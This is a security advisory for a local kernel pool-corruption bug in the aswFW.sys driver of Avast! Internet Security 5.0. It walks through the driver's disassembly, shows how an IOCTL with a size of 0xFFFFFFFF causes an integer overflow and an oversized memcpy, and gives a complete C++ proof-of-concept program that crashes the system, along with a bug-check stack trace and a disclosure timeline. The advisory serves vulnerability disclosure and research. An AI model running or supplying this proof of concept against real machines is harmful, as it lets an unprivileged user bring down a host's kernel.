1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 |
+-------------------------------------------------------------------------------------+ | Avast! Internet Security 5.0 'aswFW.sys' kernel driver IOCTL Memory Pool Corruption | +-------------------------------------------------------------------------------------+ Tested Platform: Avast! Internet Security 5.0 ( Korean Trial ) Affacted File info: 'aswFW.sys' 5.0.594.0 Type: Local Impact: Denial Of Service ( kernel panic ) Vendor: http://www.avast.com Author: x90c of InetCop Security ( x90c.org, geinblues@gmail.com ) ====================== Vulnerability Summary: ====================== The IOCTL call 0x829C0964(IOCTL_ASWFW_COMM_PIDINFO_RESULTS) of 'aswFW.sys' kernel driver Shiped with 'Avast! Internet Security 5.0' uses the user controlled First 4 bytes value To allocate a NonPagedPool without any value range checking then an integer overrun occurs. If 'aswFW.sys' received a first 4 bytes about to '0xFFFFFFFF' with an Irp then an invalid Sized Memory Pool allocated. After the invalid allocation, the kernel driver copys user controlled buffer into '[allocated pool+84h]' with too large copy length '0FFFFFFFFh' then the Memory Pool corrupted. ================= Technical Detail: ================= .text:000114B0 ; int __stdcall sub_114B0(int, PIRP Irp) [...] .text:00011529mov edi, [ebp+Irp] ; edi = Irp [...] .text:000115A9mov edi, [edi+0Ch] ; edi = [edi+0Ch] ( User Controlled Buffer of Irp ) [...] .text:000115CFsub eax, 0Ch .text:000115D2jz short to_IOCTL_Request ; jump into (1) [...] .text:00011626 to_IOCTL_Request: ; <-- (1) .text:00011626mov eax, [ebx+0Ch] ; eax = IOCTL Code [...] .text:00011629cmp eax, edx .text:0001162Bjz to_ioctl_code_829C0964h ; IOCTL Code == 829C0964h ? jump into (2) [...] .text:000116BA to_ioctl_code_829C0964h: ; <-- (2) .text:000116BAcall sub_18D68 ; returned 0. .text:000116BFtest eax, eax .text:000116C1jz short loc_116E3 ; jump into (3) [...] .text:000116E3 loc_116E3: ; <-- (3) [...] .text:000116FCpush dword ptr [edi] ; [edi] = 0FFFFFFFF ( User Controlled Buffer of Irp ) .text:000116FEpush 0 .text:00011700call NonPagedPool_alloc_1AB32 ; call (4) ; kd> bl ; 0 e b2d36700 0001 (0001) aswFW+0x1700 [...] ============================================================================================== .text:0001AB32 NonPagedPool_alloc_1AB32 proc near ; <-- (4) [...] .text:0001AB37mov eax, [ebp+0Ch] ; eax = 0FFFFFFFFh ( Second param ) .text:0001AB3Apush ebx .text:0001AB3Bpush 74527741h ; Tag .text:0001AB40add eax, 88h ; 0FFFFFFFFh + 88h ( 0x87, result of Integer Overrun ) .text:0001AB45push eax ; Size to allocate ( 0x87 ) .text:0001AB46push 0 ; PoolType ( 0 = NonPagedPool ) .text:0001AB48call ds:ExAllocatePoolWithTag ; Invalid Memory Pool allocated. .text:0001AB4Emov ebx, eax ; ebx = eax [...] .text:0001AB7Fmov eax, ebx .text:0001AB83retn 8 ; return with an Invalid Memory Pool. return into (5) ============================================================================================== // Integer Overrun. _87bytes_NonPagedPool = ExAllocatePoolWithTag(0, 0xFFFFFFFF + 0x88, 0x74527741); .text:000116E3 loc_116E3: [...] .text:00011705mov esi, eax ; <-- (5) esi = eax = Invalid Memory Pool. .text:00011707test esi, esi .text:00011709jz to_Epilog ; esi == 0 ? [...] .text:00011727push dword ptr [edi] ; copy size == 0FFFFFFFFh ( too large ) .text:00011729lea eax, [esi+84h] ; eax = [esi+84h] == [Invalid Memory Pool Allocated + 84h] .text:0001172Fpush edi ; src == User Controlled Buffer of Irp ( FFFFFFFF ... ) .text:00011730push eax ; dest == eax .text:00011731call memcpy ; Memory Corruption Occurs. // Memory Pool Corruption. memcpy((_87bytes_NonPagedPool+0x84), User Controlled Buffer of Irp, 0xFFFFFFFF); ================= Proof of Concept: ================= [ avast_5.0_aswFW_poc.cpp ] -- #include "stdafx.h" #include "windows.h" #include "winioctl.h" #include "stdio.h" int main(void) { HANDLE hFile = NULL; ULONG ioctl_code = 0; CHAR outBuf[32]; CHAR rpt_inBuf[102400]; DWORD dwRet = 0, ret = 0; hFile = CreateFile("\\\\.\\aswFW", FILE_SHARE_READ | FILE_SHARE_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE){ fprintf(stderr, "failed to open 'aswFW.sys' kernel driver!\n"); return(-1); } rpt_inBuf[0] = '\xff'; // first 4 byte wiil uses calculate rpt_inBuf[1] = '\xff'; // allication size of ExAllocatePoolWithTag. rpt_inBuf[2] = '\xff'; // and it is [Irp+0Ch] as User Controlled Buffer. rpt_inBuf[3] = '\xff'; memset((rpt_inBuf+4), 0xff, 102394); // IOCTL Code = 0x829C0964 ( IOCTL_ASWFW_COMM_PIDINFO_RESULTS ) // ( another IOCTL Code also vulnerable ) ret = DeviceIoControl(hFile, 0x829C0964, (PVOID)rpt_inBuf, 102398, outBuf, 32, &dwRet, NULL); return 0; } // -- eoc -- =============== Exploitability: =============== It's hard to exploit because 'too large copy length'. I saw *once eip register pointers At 0x1000 but the controlling eip register is not consistent. ( DoS ) -- STACK_TEXT: f8ac5944 804f9bad 00000003 f8ac5ca0 00000000 nt!RtlpBreakWithStatusInstruction f8ac5990 804fa79a 00000003 00001000 00001000 nt!KiBugCheckDebugBreak+0x19 f8ac5d70 805426bb 0000000a 00001000 00000009 nt!KeBugCheck2+0x574 f8ac5d70 00001000 0000000a 00001000 00000009 nt!KiTrap0E+0x233 WARNING: Frame IP not in any known module. Following frames may be wrong. f8ac5e00 f871bf6c 00000001 00000200 0000011c 0x1000 f8ac5e58 8054357d 81d6fd98 81e72af8 00010009 i8042prt!I8042KeyboardInterruptService+0x100 f8ac5e58 804fcd56 81d6fd98 81e72af8 00010009 nt!KiInterruptDispatch+0x3d f8ac5f00 f8502ab6 81da5b60 0006bd78 81da5bb8 nt!KeRemoveByKeyDeviceQueue+0x2e f8ac5f20 f850423b 81daa0e8 81da5bb8 81da5c60 atapi!GetNextLuRequest+0x7c f8ac5f54 f8504c8e 81df7e70 81da5c60 f8ac5fcf atapi!IdeProcessCompletedRequest+0x1a3 f8ac5fd0 80543bbd 81daa0a4 81daa030 00000000 atapi!IdePortCompletionDpc+0x204 f8ac5ff4 8054388a b20e7b44 00000000 00000000 nt!KiRetireDpcList+0x46 f8ac5ff8 b20e7b44 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x2a 8054388a 00000000 00000009 bb835675 00000128 0xb20e7b44 -- ========= Solution: ========= Not yet. ============== Vendor Status: ============== 2010/08/02 - Vendor notified. 2010/08/03 - Public Disclosed. |